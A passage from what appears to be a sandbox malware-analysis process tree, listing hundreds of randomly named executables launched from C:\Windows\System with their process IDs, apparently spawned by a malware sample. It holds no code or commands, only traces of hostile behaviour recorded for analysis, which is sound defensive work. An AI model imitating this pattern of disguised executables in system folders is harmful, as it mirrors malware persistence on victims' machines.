  C:\Windows\System\pCTUePB.exe
  2⤵
  PID:8448
- C:\Windows\System\hFrVNjR.exe
  C:\Windows\System\hFrVNjR.exe
  2⤵
  PID:8516
- C:\Windows\System\iJGFonD.exe
  C:\Windows\System\iJGFonD.exe
  2⤵
  PID:8540
- C:\Windows\System\yNitnJY.exe
  C:\Windows\System\yNitnJY.exe
  2⤵
  PID:8560
- C:\Windows\System\HmsBRpP.exe
  C:\Windows\System\HmsBRpP.exe
  2⤵
  PID:8588
- C:\Windows\System\kvNwPuN.exe
  C:\Windows\System\kvNwPuN.exe
  2⤵
  PID:8624
- C:\Windows\System\YjngPlL.exe
  C:\Windows\System\YjngPlL.exe
  2⤵
  PID:8644
- C:\Windows\System\yYiisxE.exe
  C:\Windows\System\yYiisxE.exe
  2⤵
  PID:8668
- C:\Windows\System\qwdhPSU.exe
  C:\Windows\System\qwdhPSU.exe
  2⤵
  PID:8684
- C:\Windows\System\UFogvXs.exe
  C:\Windows\System\UFogvXs.exe
  2⤵
  PID:8704
- C:\Windows\System\rKIgWze.exe
  C:\Windows\System\rKIgWze.exe
  2⤵
  PID:8732
- C:\Windows\System\xJwAZaz.exe
  C:\Windows\System\xJwAZaz.exe
  2⤵
  PID:8792
- C:\Windows\System\HUCoWKW.exe
  C:\Windows\System\HUCoWKW.exe
  2⤵
  PID:8828
- C:\Windows\System\Nbjyzjq.exe
  C:\Windows\System\Nbjyzjq.exe
  2⤵
  PID:8848
- C:\Windows\System\AdWKTne.exe
  C:\Windows\System\AdWKTne.exe
  2⤵
  PID:8864
- C:\Windows\System\ioFfBaz.exe
  C:\Windows\System\ioFfBaz.exe
  2⤵
  PID:8912
- C:\Windows\System\QresBqB.exe
  C:\Windows\System\QresBqB.exe
  2⤵
  PID:8936
- C:\Windows\System\iMTRcND.exe
  C:\Windows\System\iMTRcND.exe
  2⤵
  PID:8956
- C:\Windows\System\YctYyUm.exe
  C:\Windows\System\YctYyUm.exe
  2⤵
  PID:8984
- C:\Windows\System\tyHlpsW.exe
  C:\Windows\System\tyHlpsW.exe
  2⤵
  PID:9004
- C:\Windows\System\rPlcBsC.exe
  C:\Windows\System\rPlcBsC.exe
  2⤵
  PID:9028
- C:\Windows\System\RgUHUrf.exe
  C:\Windows\System\RgUHUrf.exe
  2⤵
  PID:9048
- C:\Windows\System\xeMFWDg.exe
  C:\Windows\System\xeMFWDg.exe
  2⤵
  PID:9072
- C:\Windows\System\HtZGFaU.exe
  C:\Windows\System\HtZGFaU.exe
  2⤵
  PID:9108
- C:\Windows\System\ZKKeKFG.exe
  C:\Windows\System\ZKKeKFG.exe
  2⤵
  PID:9156
- C:\Windows\System\KgUfwqP.exe
  C:\Windows\System\KgUfwqP.exe
  2⤵
  PID:9188
- C:\Windows\System\flCwxwv.exe
  C:\Windows\System\flCwxwv.exe
  2⤵
  PID:7964
- C:\Windows\System\BvzIHGT.exe
  C:\Windows\System\BvzIHGT.exe
  2⤵
  PID:8012
- C:\Windows\System\UBWyKxI.exe
  C:\Windows\System\UBWyKxI.exe
  2⤵
  PID:8296
- C:\Windows\System\KAWlxrb.exe
  C:\Windows\System\KAWlxrb.exe
  2⤵
  PID:8316
- C:\Windows\System\pIhRQrQ.exe
  C:\Windows\System\pIhRQrQ.exe
  2⤵
  PID:8376
- C:\Windows\System\lZmKjvz.exe
  C:\Windows\System\lZmKjvz.exe
  2⤵
  PID:8468
- C:\Windows\System\UifEDsR.exe
  C:\Windows\System\UifEDsR.exe
  2⤵
  PID:8536
- C:\Windows\System\iExuDHw.exe
  C:\Windows\System\iExuDHw.exe
  2⤵
  PID:8556
- C:\Windows\System\Utkvdir.exe
  C:\Windows\System\Utkvdir.exe
  2⤵
  PID:8608
- C:\Windows\System\PMNxcNb.exe
  C:\Windows\System\PMNxcNb.exe
  2⤵
  PID:8676
- C:\Windows\System\MWpWrth.exe
  C:\Windows\System\MWpWrth.exe
  2⤵
  PID:8696
- C:\Windows\System\MqcSynA.exe
  C:\Windows\System\MqcSynA.exe
  2⤵
  PID:8808
- C:\Windows\System\YWgSZFv.exe
  C:\Windows\System\YWgSZFv.exe
  2⤵
  PID:8860
- C:\Windows\System\ehkuRQd.exe
  C:\Windows\System\ehkuRQd.exe
  2⤵
  PID:8932
- C:\Windows\System\gMacnKW.exe
  C:\Windows\System\gMacnKW.exe
  2⤵
  PID:9036
- C:\Windows\System\fmIHFvY.exe
  C:\Windows\System\fmIHFvY.exe
  2⤵
  PID:9128
- C:\Windows\System\vEUlbxD.exe
  C:\Windows\System\vEUlbxD.exe
  2⤵
  PID:9144
- C:\Windows\System\xUgcJhl.exe
  C:\Windows\System\xUgcJhl.exe
  2⤵
  PID:7596
- C:\Windows\System\cvHIAIY.exe
  C:\Windows\System\cvHIAIY.exe
  2⤵
  PID:8228
- C:\Windows\System\pRypPhW.exe
  C:\Windows\System\pRypPhW.exe
  2⤵
  PID:8356
- C:\Windows\System\WHVEfhg.exe
  C:\Windows\System\WHVEfhg.exe
  2⤵
  PID:8440
- C:\Windows\System\xGWFxkT.exe
  C:\Windows\System\xGWFxkT.exe
  2⤵
  PID:8620
- C:\Windows\System\tdTrkoA.exe
  C:\Windows\System\tdTrkoA.exe
  2⤵
  PID:8752
- C:\Windows\System\zDXVrYq.exe
  C:\Windows\System\zDXVrYq.exe
  2⤵
  PID:8840
- C:\Windows\System\QbPcyZQ.exe
  C:\Windows\System\QbPcyZQ.exe
  2⤵
  PID:8600
- C:\Windows\System\SnCIuWH.exe
  C:\Windows\System\SnCIuWH.exe
  2⤵
  PID:8252
- C:\Windows\System\TXSEBjT.exe
  C:\Windows\System\TXSEBjT.exe
  2⤵
  PID:8924
- C:\Windows\System\TrmhGHr.exe
  C:\Windows\System\TrmhGHr.exe
  2⤵
  PID:8844
- C:\Windows\System\CbGWfYb.exe
  C:\Windows\System\CbGWfYb.exe
  2⤵
  PID:9224
- C:\Windows\System\oZOdNCr.exe
  C:\Windows\System\oZOdNCr.exe
  2⤵
  PID:9260
- C:\Windows\System\rIXtnDH.exe
  C:\Windows\System\rIXtnDH.exe
  2⤵
  PID:9288
- C:\Windows\System\AJIKptZ.exe
  C:\Windows\System\AJIKptZ.exe
  2⤵
  PID:9316
- C:\Windows\System\yhjaKIP.exe
  C:\Windows\System\yhjaKIP.exe
  2⤵
  PID:9336
- C:\Windows\System\WTgiNaI.exe
  C:\Windows\System\WTgiNaI.exe
  2⤵
  PID:9368
- C:\Windows\System\gTLfUIt.exe
  C:\Windows\System\gTLfUIt.exe
  2⤵
  PID:9392
- C:\Windows\System\NbYOBac.exe
  C:\Windows\System\NbYOBac.exe
  2⤵
  PID:9420
- C:\Windows\System\oaeMCoa.exe
  C:\Windows\System\oaeMCoa.exe
  2⤵
  PID:9444
- C:\Windows\System\mgeEwIY.exe
  C:\Windows\System\mgeEwIY.exe
  2⤵
  PID:9464
- C:\Windows\System\oXuPFlq.exe
  C:\Windows\System\oXuPFlq.exe
  2⤵
  PID:9548
- C:\Windows\System\sPgtPNA.exe
  C:\Windows\System\sPgtPNA.exe
  2⤵
  PID:9568
- C:\Windows\System\VKUoZdO.exe
  C:\Windows\System\VKUoZdO.exe
  2⤵
  PID:9592
- C:\Windows\System\fuVaAHA.exe
  C:\Windows\System\fuVaAHA.exe
  2⤵
  PID:9660
- C:\Windows\System\wWPTjgC.exe
  C:\Windows\System\wWPTjgC.exe
  2⤵
  PID:9676
- C:\Windows\System\eWNhgzS.exe
  C:\Windows\System\eWNhgzS.exe
  2⤵
  PID:9700
- C:\Windows\System\aUXBLOB.exe
  C:\Windows\System\aUXBLOB.exe
  2⤵
  PID:9720
- C:\Windows\System\UjbKyFU.exe
  C:\Windows\System\UjbKyFU.exe
  2⤵
  PID:9760
- C:\Windows\System\jFJvijP.exe
  C:\Windows\System\jFJvijP.exe
  2⤵
  PID:9776
- C:\Windows\System\VPCGiaB.exe
  C:\Windows\System\VPCGiaB.exe
  2⤵
  PID:9808
- C:\Windows\System\RmUTXOC.exe
  C:\Windows\System\RmUTXOC.exe
  2⤵
  PID:9880
- C:\Windows\System\XkVDGlg.exe
  C:\Windows\System\XkVDGlg.exe
  2⤵
  PID:9948
- C:\Windows\System\XxCjLyG.exe
  C:\Windows\System\XxCjLyG.exe
  2⤵
  PID:9964
- C:\Windows\System\hCsefTB.exe
  C:\Windows\System\hCsefTB.exe
  2⤵
  PID:9980
- C:\Windows\System\FktTFgJ.exe
  C:\Windows\System\FktTFgJ.exe
  2⤵
  PID:9996
- C:\Windows\System\JFwuuwH.exe
  C:\Windows\System\JFwuuwH.exe
  2⤵
  PID:10012
- C:\Windows\System\EKCMvwH.exe
  C:\Windows\System\EKCMvwH.exe
  2⤵
  PID:10028
- C:\Windows\System\bDacJTU.exe
  C:\Windows\System\bDacJTU.exe
  2⤵
  PID:10044
- C:\Windows\System\soUBqnu.exe
  C:\Windows\System\soUBqnu.exe
  2⤵
  PID:10060
- C:\Windows\System\mNXqXKH.exe
  C:\Windows\System\mNXqXKH.exe
  2⤵
  PID:10112
- C:\Windows\System\bZiqekV.exe
  C:\Windows\System\bZiqekV.exe
  2⤵
  PID:10136
- C:\Windows\System\WnwnCmb.exe
  C:\Windows\System\WnwnCmb.exe
  2⤵
  PID:10156
- C:\Windows\System\tRJjhZq.exe
  C:\Windows\System\tRJjhZq.exe
  2⤵
  PID:10200
- C:\Windows\System\ucbUqIy.exe
  C:\Windows\System\ucbUqIy.exe
  2⤵
  PID:10216
- C:\Windows\System\VqrGEEH.exe
  C:\Windows\System\VqrGEEH.exe
  2⤵
  PID:9252
- C:\Windows\System\qUYNTZc.exe
  C:\Windows\System\qUYNTZc.exe
  2⤵
  PID:9400
- C:\Windows\System\RPKZiNy.exe
  C:\Windows\System\RPKZiNy.exe
  2⤵
  PID:9560
- C:\Windows\System\uiEJdvc.exe
  C:\Windows\System\uiEJdvc.exe
  2⤵
  PID:9604
- C:\Windows\System\VxGKziY.exe
  C:\Windows\System\VxGKziY.exe
  2⤵
  PID:3756
- C:\Windows\System\jELJKan.exe
  C:\Windows\System\jELJKan.exe
  2⤵
  PID:9712
- C:\Windows\System\TEVRoIf.exe
  C:\Windows\System\TEVRoIf.exe
  2⤵
  PID:9756
- C:\Windows\System\dtpmYuQ.exe
  C:\Windows\System\dtpmYuQ.exe
  2⤵
  PID:9836
- C:\Windows\System\kNGGdyn.exe
  C:\Windows\System\kNGGdyn.exe
  2⤵
  PID:9816
- C:\Windows\System\AJomRqV.exe
  C:\Windows\System\AJomRqV.exe
  2⤵
  PID:9840
- C:\Windows\System\QfxEECm.exe
  C:\Windows\System\QfxEECm.exe
  2⤵
  PID:9928
- C:\Windows\System\spuEiZb.exe
  C:\Windows\System\spuEiZb.exe
  2⤵
  PID:9888
- C:\Windows\System\TQyiCfN.exe
  C:\Windows\System\TQyiCfN.exe
  2⤵
  PID:10040
- C:\Windows\System\rUFWOrC.exe
  C:\Windows\System\rUFWOrC.exe
  2⤵
  PID:10184
- C:\Windows\System\ANsiINd.exe
  C:\Windows\System\ANsiINd.exe
  2⤵
  PID:10108
- C:\Windows\System\EpoQqmy.exe
  C:\Windows\System\EpoQqmy.exe
  2⤵
  PID:10068
- C:\Windows\System\FhYzjZF.exe
  C:\Windows\System\FhYzjZF.exe
  2⤵
  PID:10180
- C:\Windows\System\IetjqQN.exe
  C:\Windows\System\IetjqQN.exe
  2⤵
  PID:9332
- C:\Windows\System\AnBooOZ.exe
  C:\Windows\System\AnBooOZ.exe
  2⤵
  PID:9556
- C:\Windows\System\phexJgT.exe
  C:\Windows\System\phexJgT.exe
  2⤵
  PID:9640
- C:\Windows\System\qMADFon.exe
  C:\Windows\System\qMADFon.exe
  2⤵
  PID:9868
- C:\Windows\System\BotqULY.exe
  C:\Windows\System\BotqULY.exe
  2⤵
  PID:9796
- C:\Windows\System\OqLDyfz.exe
  C:\Windows\System\OqLDyfz.exe
  2⤵
  PID:10120
- C:\Windows\System\nbuAdql.exe
  C:\Windows\System\nbuAdql.exe
  2⤵
  PID:9956
- C:\Windows\System\rvLyJbb.exe
  C:\Windows\System\rvLyJbb.exe
  2⤵
  PID:10212
- C:\Windows\System\nEjsHaF.exe
  C:\Windows\System\nEjsHaF.exe
  2⤵
  PID:9284
- C:\Windows\System\hENXKbd.exe
  C:\Windows\System\hENXKbd.exe
  2⤵
  PID:9588
- C:\Windows\System\PCvmUFn.exe
  C:\Windows\System\PCvmUFn.exe
  2⤵
  PID:9768
- C:\Windows\System\MuWwRuX.exe
  C:\Windows\System\MuWwRuX.exe
  2⤵
  PID:10056
- C:\Windows\System\ytiEzSU.exe
  C:\Windows\System\ytiEzSU.exe
  2⤵
  PID:10076
- C:\Windows\System\dYYbglP.exe
  C:\Windows\System\dYYbglP.exe
  2⤵
  PID:10248
- C:\Windows\System\wNgYrjR.exe
  C:\Windows\System\wNgYrjR.exe
  2⤵
  PID:10264
- C:\Windows\System\jtnyCjD.exe
  C:\Windows\System\jtnyCjD.exe
  2⤵
  PID:10280
- C:\Windows\System\UjYSaeT.exe
  C:\Windows\System\UjYSaeT.exe
  2⤵
  PID:10368
- C:\Windows\System\LjgfjOB.exe
  C:\Windows\System\LjgfjOB.exe
  2⤵
  PID:10396
- C:\Windows\System\mNROxzq.exe
  C:\Windows\System\mNROxzq.exe
  2⤵
  PID:10416
- C:\Windows\System\riNXNFo.exe
  C:\Windows\System\riNXNFo.exe
  2⤵
  PID:10500
- C:\Windows\System\izbwLbz.exe
  C:\Windows\System\izbwLbz.exe
  2⤵
  PID:10524
- C:\Windows\System\hyoemSZ.exe
  C:\Windows\System\hyoemSZ.exe
  2⤵
  PID:10540
- C:\Windows\System\IPGAVkL.exe
  C:\Windows\System\IPGAVkL.exe
  2⤵
  PID:10564
- C:\Windows\System\WRelnOx.exe
  C:\Windows\System\WRelnOx.exe
  2⤵
  PID:10596
- C:\Windows\System\BfkdMRw.exe
  C:\Windows\System\BfkdMRw.exe
  2⤵
  PID:10624
- C:\Windows\System\JBFsxTJ.exe
  C:\Windows\System\JBFsxTJ.exe
  2⤵
  PID:10660
- C:\Windows\System\LkpuqbU.exe
  C:\Windows\System\LkpuqbU.exe
  2⤵
  PID:10692
- C:\Windows\System\bBkhcJn.exe
  C:\Windows\System\bBkhcJn.exe
  2⤵
  PID:10712
- C:\Windows\System\vWvZHKV.exe
  C:\Windows\System\vWvZHKV.exe
  2⤵
  PID:10764
- C:\Windows\System\QuwItFo.exe
  C:\Windows\System\QuwItFo.exe
  2⤵
  PID:10788
- C:\Windows\System\vwbdwPO.exe
  C:\Windows\System\vwbdwPO.exe
  2⤵
  PID:10804
- C:\Windows\System\MItQaPI.exe
  C:\Windows\System\MItQaPI.exe
  2⤵
  PID:10824
- C:\Windows\System\qlyMEeI.exe
  C:\Windows\System\qlyMEeI.exe
  2⤵
  PID:10844
- C:\Windows\System\YEnvHHG.exe
  C:\Windows\System\YEnvHHG.exe
  2⤵
  PID:10864
- C:\Windows\System\onwMFSY.exe
  C:\Windows\System\onwMFSY.exe
  2⤵
  PID:10916
- C:\Windows\System\lJdbLiv.exe
  C:\Windows\System\lJdbLiv.exe
  2⤵
  PID:10956
- C:\Windows\System\FiqxdpT.exe
  C:\Windows\System\FiqxdpT.exe
  2⤵
  PID:10980
- C:\Windows\System\xHyHBMj.exe
  C:\Windows\System\xHyHBMj.exe
  2⤵
  PID:11004
- C:\Windows\System\mxpBCLZ.exe
  C:\Windows\System\mxpBCLZ.exe
  2⤵
  PID:11024
- C:\Windows\System\cHrCWCP.exe
  C:\Windows\System\cHrCWCP.exe
  2⤵
  PID:11060
- C:\Windows\System\fQDfFRt.exe
  C:\Windows\System\fQDfFRt.exe
  2⤵
  PID:11096
- C:\Windows\System\mvtboAf.exe
  C:\Windows\System\mvtboAf.exe
  2⤵
  PID:11112
- C:\Windows\System\oQnpKar.exe
  C:\Windows\System\oQnpKar.exe
  2⤵
  PID:11136
- C:\Windows\System\qyiYshU.exe
  C:\Windows\System\qyiYshU.exe
  2⤵
  PID:11160
- C:\Windows\System\zbZtpxS.exe
  C:\Windows\System\zbZtpxS.exe
  2⤵
  PID:11184
- C:\Windows\System\ZJuCpVo.exe
  C:\Windows\System\ZJuCpVo.exe
  2⤵
  PID:11216
- C:\Windows\System\WWAeegF.exe
  C:\Windows\System\WWAeegF.exe
  2⤵
  PID:11248
- C:\Windows\System\xshosSb.exe
  C:\Windows\System\xshosSb.exe
  2⤵
  PID:9516
- C:\Windows\System\nADEFRp.exe
  C:\Windows\System\nADEFRp.exe
  2⤵
  PID:10312
- C:\Windows\System\NctFDnH.exe
  C:\Windows\System\NctFDnH.exe
  2⤵
  PID:10336
- C:\Windows\System\ECdclQj.exe
  C:\Windows\System\ECdclQj.exe
  2⤵
  PID:10272
- C:\Windows\System\vXQTsXp.exe
  C:\Windows\System\vXQTsXp.exe
  2⤵
  PID:10408
- C:\Windows\System\MNBnVBx.exe
  C:\Windows\System\MNBnVBx.exe
  2⤵
  PID:10536
- C:\Windows\System\ItiAhsC.exe
  C:\Windows\System\ItiAhsC.exe
  2⤵
  PID:10644
- C:\Windows\System\fviOWaR.exe
  C:\Windows\System\fviOWaR.exe
  2⤵
  PID:10740
- C:\Windows\System\saWnhSr.exe
  C:\Windows\System\saWnhSr.exe
  2⤵
  PID:10756
- C:\Windows\System\opxyOSv.exe
  C:\Windows\System\opxyOSv.exe
  2⤵
  PID:10820
- C:\Windows\System\tMhCafy.exe
  C:\Windows\System\tMhCafy.exe
  2⤵
  PID:10888
- C:\Windows\System\UoBJVjS.exe
  C:\Windows\System\UoBJVjS.exe
  2⤵
  PID:11000
- C:\Windows\System\TcKaNmG.exe
  C:\Windows\System\TcKaNmG.exe
  2⤵
  PID:10988
- C:\Windows\System\GrCdviG.exe
  C:\Windows\System\GrCdviG.exe
  2⤵
  PID:11076
- C:\Windows\System\MmVklQO.exe
  C:\Windows\System\MmVklQO.exe
  2⤵
  PID:11128
- C:\Windows\System\Ylratqk.exe
  C:\Windows\System\Ylratqk.exe
  2⤵
  PID:11244
- C:\Windows\System\ZAmZTSZ.exe
  C:\Windows\System\ZAmZTSZ.exe
  2⤵
  PID:9828
- C:\Windows\System\jplcCic.exe
  C:\Windows\System\jplcCic.exe
  2⤵
  PID:9432
- C:\Windows\System\WNCsbzE.exe
  C:\Windows\System\WNCsbzE.exe
  2⤵
  PID:10344
- C:\Windows\System\MXRBPRt.exe
  C:\Windows\System\MXRBPRt.exe
  2⤵
  PID:10608
- C:\Windows\System\bbFnMBq.exe
  C:\Windows\System\bbFnMBq.exe
  2⤵
  PID:10884
- C:\Windows\System\pZRaWnJ.exe
  C:\Windows\System\pZRaWnJ.exe
  2⤵
  PID:10968
- C:\Windows\System\GiKLvxo.exe
  C:\Windows\System\GiKLvxo.exe
  2⤵
  PID:11148
- C:\Windows\System\naNXZFx.exe
  C:\Windows\System\naNXZFx.exe
  2⤵
  PID:10444
- C:\Windows\System\pmQcHwd.exe
  C:\Windows\System\pmQcHwd.exe
  2⤵
  PID:10732
- C:\Windows\System\dNaDLxB.exe
  C:\Windows\System\dNaDLxB.exe
  2⤵
  PID:10224
- C:\Windows\System\PlFLnCa.exe
  C:\Windows\System\PlFLnCa.exe
  2⤵
  PID:10492
- C:\Windows\System\UuGTxDj.exe
  C:\Windows\System\UuGTxDj.exe
  2⤵
  PID:11020
- C:\Windows\System\EFpcwZG.exe
  C:\Windows\System\EFpcwZG.exe
  2⤵
  PID:11280
- C:\Windows\System\hgjRFIs.exe
  C:\Windows\System\hgjRFIs.exe
  2⤵
  PID:11308
- C:\Windows\System\evqRPRa.exe
  C:\Windows\System\evqRPRa.exe
  2⤵
  PID:11336
- C:\Windows\System\VNAcJGo.exe
  C:\Windows\System\VNAcJGo.exe
  2⤵
  PID:11364
- C:\Windows\System\uPfNWTz.exe
  C:\Windows\System\uPfNWTz.exe
  2⤵
  PID:11392
- C:\Windows\System\KcPaaxM.exe
  C:\Windows\System\KcPaaxM.exe
  2⤵
  PID:11416
- C:\Windows\System\WEEkvEY.exe
  C:\Windows\System\WEEkvEY.exe
  2⤵
  PID:11436
- C:\Windows\System\dzjgQnT.exe
  C:\Windows\System\dzjgQnT.exe
  2⤵
  PID:11452
- C:\Windows\System\AoBkBcn.exe
  C:\Windows\System\AoBkBcn.exe
  2⤵
  PID:11492
- C:\Windows\System\HpzDXbB.exe
  C:\Windows\System\HpzDXbB.exe
  2⤵
  PID:11516
- C:\Windows\System\OXLmhYP.exe
  C:\Windows\System\OXLmhYP.exe
  2⤵
  PID:11572
- C:\Windows\System\ZVEQGoG.exe
  C:\Windows\System\ZVEQGoG.exe
  2⤵
  PID:11588
- C:\Windows\System\XpSxBem.exe
  C:\Windows\System\XpSxBem.exe
  2⤵
  PID:11636
- C:\Windows\System\QnjhpNg.exe
  C:\Windows\System\QnjhpNg.exe
  2⤵
  PID:11672
- C:\Windows\System\fbIremp.exe
  C:\Windows\System\fbIremp.exe
  2⤵
  PID:11692
- C:\Windows\System\XOtgSXi.exe
  C:\Windows\System\XOtgSXi.exe
  2⤵
  PID:11716
- C:\Windows\System\kQvOJnw.exe
  C:\Windows\System\kQvOJnw.exe
  2⤵
  PID:11744
- C:\Windows\System\cHZbnhu.exe
  C:\Windows\System\cHZbnhu.exe
  2⤵
  PID:11760
- C:\Windows\System\OJZdIYP.exe
  C:\Windows\System\OJZdIYP.exe
  2⤵
  PID:11788
- C:\Windows\System\cJKdehg.exe
  C:\Windows\System\cJKdehg.exe
  2⤵
  PID:11828
- C:\Windows\System\BbpjQHg.exe
  C:\Windows\System\BbpjQHg.exe
  2⤵
  PID:11848
- C:\Windows\System\ySliOCT.exe
  C:\Windows\System\ySliOCT.exe
  2⤵
  PID:11868
- C:\Windows\System\lCZKSBL.exe
  C:\Windows\System\lCZKSBL.exe
  2⤵
  PID:11904
- C:\Windows\System\tYiueDG.exe
  C:\Windows\System\tYiueDG.exe
  2⤵
  PID:11940
- C:\Windows\System\knLfyYo.exe
  C:\Windows\System\knLfyYo.exe
  2⤵
  PID:11968
- C:\Windows\System\UPYGIXb.exe
  C:\Windows\System\UPYGIXb.exe
  2⤵
  PID:11984
- C:\Windows\System\RQDALDP.exe
  C:\Windows\System\RQDALDP.exe
  2⤵
  PID:12012
- C:\Windows\System\tYVEWif.exe
  C:\Windows\System\tYVEWif.exe
  2⤵
  PID:12032
- C:\Windows\System\QAUOkgu.exe
  C:\Windows\System\QAUOkgu.exe
  2⤵
  PID:12052
- C:\Windows\System\EcDPxpA.exe
  C:\Windows\System\EcDPxpA.exe
  2⤵
  PID:12088
- C:\Windows\System\xlJQKqB.exe
  C:\Windows\System\xlJQKqB.exe
  2⤵
  PID:12136
- C:\Windows\System\ZEIvIuq.exe
  C:\Windows\System\ZEIvIuq.exe
  2⤵
  PID:12176
- C:\Windows\System\mWYmkHB.exe
  C:\Windows\System\mWYmkHB.exe
  2⤵
  PID:12200
- C:\Windows\System\MxCFGyH.exe
  C:\Windows\System\MxCFGyH.exe
  2⤵
  PID:12244
- C:\Windows\System\pzlUqZc.exe
  C:\Windows\System\pzlUqZc.exe
  2⤵
  PID:12264
- C:\Windows\System\tGvQBlM.exe
  C:\Windows\System\tGvQBlM.exe
  2⤵
  PID:10592
- C:\Windows\System\IWkpRva.exe
  C:\Windows\System\IWkpRva.exe
  2⤵
  PID:10376
- C:\Windows\System\aWRyQGn.exe
  C:\Windows\System\aWRyQGn.exe
  2⤵
  PID:11300
- C:\Windows\System\WleujCA.exe
  C:\Windows\System\WleujCA.exe
  2⤵
  PID:11380
- C:\Windows\System\ATjWGMF.exe
  C:\Windows\System\ATjWGMF.exe
  2⤵
  PID:11428
- C:\Windows\System\aJynVSH.exe
  C:\Windows\System\aJynVSH.exe
  2⤵
  PID:11448
- C:\Windows\System\YznrumS.exe
  C:\Windows\System\YznrumS.exe
  2⤵
  PID:11508
- C:\Windows\System\xOnCsrL.exe
  C:\Windows\System\xOnCsrL.exe
  2⤵
  PID:11620
- C:\Windows\System\SpiCqTH.exe
  C:\Windows\System\SpiCqTH.exe
  2⤵
  PID:11656
- C:\Windows\System\AsPCnyG.exe
  C:\Windows\System\AsPCnyG.exe
  2⤵
  PID:11740
- C:\Windows\System\FwReDLV.exe
  C:\Windows\System\FwReDLV.exe
  2⤵
  PID:11924
- C:\Windows\System\gAsLcBv.exe
  C:\Windows\System\gAsLcBv.exe
  2⤵
  PID:11932
- C:\Windows\System\ovPsGYD.exe
  C:\Windows\System\ovPsGYD.exe
  2⤵
  PID:11980
- C:\Windows\System\UAlWQPw.exe
  C:\Windows\System\UAlWQPw.exe
  2⤵
  PID:12020
- C:\Windows\System\MGlyLJZ.exe
  C:\Windows\System\MGlyLJZ.exe
  2⤵
  PID:12132
- C:\Windows\System\QPfgXKC.exe
  C:\Windows\System\QPfgXKC.exe
  2⤵
  PID:12128
- C:\Windows\System\yDxcJrO.exe
  C:\Windows\System\yDxcJrO.exe
  2⤵
  PID:12192
- C:\Windows\System\ecNtKnV.exe
  C:\Windows\System\ecNtKnV.exe
  2⤵
  PID:12220
- C:\Windows\System\bgPIuyz.exe
  C:\Windows\System\bgPIuyz.exe
  2⤵
  PID:12260
- C:\Windows\System\paRXPhL.exe
  C:\Windows\System\paRXPhL.exe
  2⤵
  PID:11276
- C:\Windows\System\bfQnLeU.exe
  C:\Windows\System\bfQnLeU.exe
  2⤵
  PID:11472
- C:\Windows\System\laQmUzl.exe
  C:\Windows\System\laQmUzl.exe
  2⤵
  PID:11664
- C:\Windows\System\ECCsLSw.exe
  C:\Windows\System\ECCsLSw.exe
  2⤵
  PID:11964
- C:\Windows\System\qnhCGWM.exe
  C:\Windows\System\qnhCGWM.exe
  2⤵
  PID:12080
- C:\Windows\System\xNSnxyl.exe
  C:\Windows\System\xNSnxyl.exe
  2⤵
  PID:12100
- C:\Windows\System\KSqLvZy.exe
  C:\Windows\System\KSqLvZy.exe
  2⤵
  PID:11484
- C:\Windows\System\ZNHSXRp.exe
  C:\Windows\System\ZNHSXRp.exe
  2⤵
  PID:2060
- C:\Windows\System\gVkqfar.exe
  C:\Windows\System\gVkqfar.exe
  2⤵
  PID:11644
- C:\Windows\System\ViRxnoB.exe
  C:\Windows\System\ViRxnoB.exe
  2⤵
  PID:12272
- C:\Windows\System\hyOgqyf.exe
  C:\Windows\System\hyOgqyf.exe
  2⤵
  PID:11404
- C:\Windows\System\oIIJYxT.exe
  C:\Windows\System\oIIJYxT.exe
  2⤵
  PID:12076
- C:\Windows\System\YzgaLQH.exe
  C:\Windows\System\YzgaLQH.exe
  2⤵
  PID:12304
- C:\Windows\System\AHacalo.exe
  C:\Windows\System\AHacalo.exe
  2⤵
  PID:12328
- C:\Windows\System\qakPEax.exe
  C:\Windows\System\qakPEax.exe
  2⤵
  PID:12372
- C:\Windows\System\qQnnOsv.exe
  C:\Windows\System\qQnnOsv.exe
  2⤵
  PID:12420
- C:\Windows\System\CUzIsQA.exe
  C:\Windows\System\CUzIsQA.exe
  2⤵
  PID:12448
- C:\Windows\System\jXVhMaD.exe
  C:\Windows\System\jXVhMaD.exe
  2⤵
  PID:12468
- C:\Windows\System\iKDBKLL.exe
  C:\Windows\System\iKDBKLL.exe
  2⤵
  PID:12492
- C:\Windows\System\jEcQIiB.exe
  C:\Windows\System\jEcQIiB.exe
  2⤵
  PID:12508
- C:\Windows\System\zOaQMNj.exe
  C:\Windows\System\zOaQMNj.exe
  2⤵
  PID:12552
- C:\Windows\System\bHxZjyv.exe
  C:\Windows\System\bHxZjyv.exe
  2⤵
  PID:12592
- C:\Windows\System\thHPSmK.exe
  C:\Windows\System\thHPSmK.exe
  2⤵
  PID:12612
- C:\Windows\System\cCEhSnA.exe
  C:\Windows\System\cCEhSnA.exe
  2⤵
  PID:12632
- C:\Windows\System\XtNKubu.exe
  C:\Windows\System\XtNKubu.exe
  2⤵
  PID:12668
- C:\Windows\System\LXHIUee.exe
  C:\Windows\System\LXHIUee.exe
  2⤵
  PID:12716
- C:\Windows\System\GVNMSKV.exe
  C:\Windows\System\GVNMSKV.exe
  2⤵
  PID:12732
- C:\Windows\System\gJPyJmG.exe
  C:\Windows\System\gJPyJmG.exe
  2⤵
  PID:12752
- C:\Windows\System\kZrEFiY.exe
  C:\Windows\System\kZrEFiY.exe
  2⤵
  PID:12776
- C:\Windows\System\SurlHRH.exe
  C:\Windows\System\SurlHRH.exe
  2⤵
  PID:12792
- C:\Windows\System\vqHjjIr.exe
  C:\Windows\System\vqHjjIr.exe
  2⤵
  PID:12924
- C:\Windows\System\BvInKmF.exe
  C:\Windows\System\BvInKmF.exe
  2⤵
  PID:12488
- C:\Windows\System\lSUpLdn.exe
  C:\Windows\System\lSUpLdn.exe
  2⤵
  PID:12656
- C:\Windows\System\NbIQFjI.exe
  C:\Windows\System\NbIQFjI.exe
  2⤵
  PID:12696
- C:\Windows\System\AWyqvfX.exe
  C:\Windows\System\AWyqvfX.exe
  2⤵
  PID:12728
- C:\Windows\System\wgFCYeW.exe
  C:\Windows\System\wgFCYeW.exe
  2⤵
  PID:12808
- C:\Windows\System\xcfFMOX.exe
  C:\Windows\System\xcfFMOX.exe
  2⤵
  PID:12828
- C:\Windows\System\kxXRyaq.exe
  C:\Windows\System\kxXRyaq.exe
  2⤵
  PID:12852
- C:\Windows\System\gPmTEFJ.exe
  C:\Windows\System\gPmTEFJ.exe
  2⤵
  PID:12900
- C:\Windows\System\DMjeMnc.exe
  C:\Windows\System\DMjeMnc.exe
  2⤵
  PID:12860
- C:\Windows\System\FsoaTfJ.exe
  C:\Windows\System\FsoaTfJ.exe
  2⤵
  PID:12972
- C:\Windows\System\npXzTGL.exe
  C:\Windows\System\npXzTGL.exe
  2⤵
  PID:13196
